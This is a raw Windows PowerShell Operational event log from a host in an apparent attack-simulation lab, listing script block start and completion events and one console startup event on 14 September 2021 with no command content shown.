EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648393
Keywords=None
Message=Started invocation of ScriptBlock ID: d4a74703-fad6-4428-b0e5-caafad48ac1d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:20:31 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648392
Keywords=None
Message=Started invocation of ScriptBlock ID: 642ed007-c5d4-4d5c-9014-4f4fa368ff56
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:20:31 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648391
Keywords=None
Message=Started invocation of ScriptBlock ID: 9217efeb-7d82-4c7b-a9df-8144b1ab2909
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:20:31 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648390
Keywords=None
Message=Completed invocation of ScriptBlock ID: cf0b4262-fdd9-49eb-82dc-1ae8e34a561b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:20:31 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648389
Keywords=None
Message=Started invocation of ScriptBlock ID: cf0b4262-fdd9-49eb-82dc-1ae8e34a561b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:20:31 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648388
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:20:31 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648387
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:20:31 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648386
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:20:31 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648385
Keywords=None
Message=Completed invocation of ScriptBlock ID: d4a74703-fad6-4428-b0e5-caafad48ac1d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:20:31 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648384
Keywords=None
Message=Started invocation of ScriptBlock ID: d4a74703-fad6-4428-b0e5-caafad48ac1d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:20:31 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648383
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:20:31 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648382
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:20:31 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648381
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:20:31 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648380
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:20:31 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648379
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:20:31 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648378
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:20:31 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648377
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:20:31 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648376
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:20:31 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648375
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:20:36 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648418
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:20:36 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648417
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:20:36 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648416
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:20:36 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648415
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:20:36 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648414
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:20:36 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648413
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:20:36 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648412
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:20:36 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648411
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:20:36 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648410
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:20:36 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648409
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:20:42 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648428
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:20:42 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648427
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:20:42 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648426
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:20:42 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648425
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:20:42 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648424
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:20:42 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648423
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:20:42 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648422
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:20:42 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648421
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:20:42 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648420
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:20:42 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648419
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:20:47 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=40961
EventType=4
Type=Information
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=PowerShell Console Startup
OpCode=Start
RecordNumber=2648444
Keywords=None
Message=PowerShell console is starting up
09/14/2021 01:20:47 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648443
Keywords=None
Message=Started invocation of ScriptBlock ID: ea1209d5-60a8-470a-b39a-f95038ae9589
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:20:47 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648442
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:20:47 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648441
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:20:47 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648440
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:20:47 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648439
Keywords=None
Message=Completed invocation of ScriptBlock ID: d4a74703-fad6-4428-b0e5-caafad48ac1d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:20:47 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648438
Keywords=None
Message=Started invocation of ScriptBlock ID: d4a74703-fad6-4428-b0e5-caafad48ac1d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:20:47 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648437
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:20:47 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648436
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:20:47 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648435
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:20:47 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648434
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:20:47 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648433
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:20:47 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648432
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:20:47 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648431
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:20:47 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648430
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:20:47 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
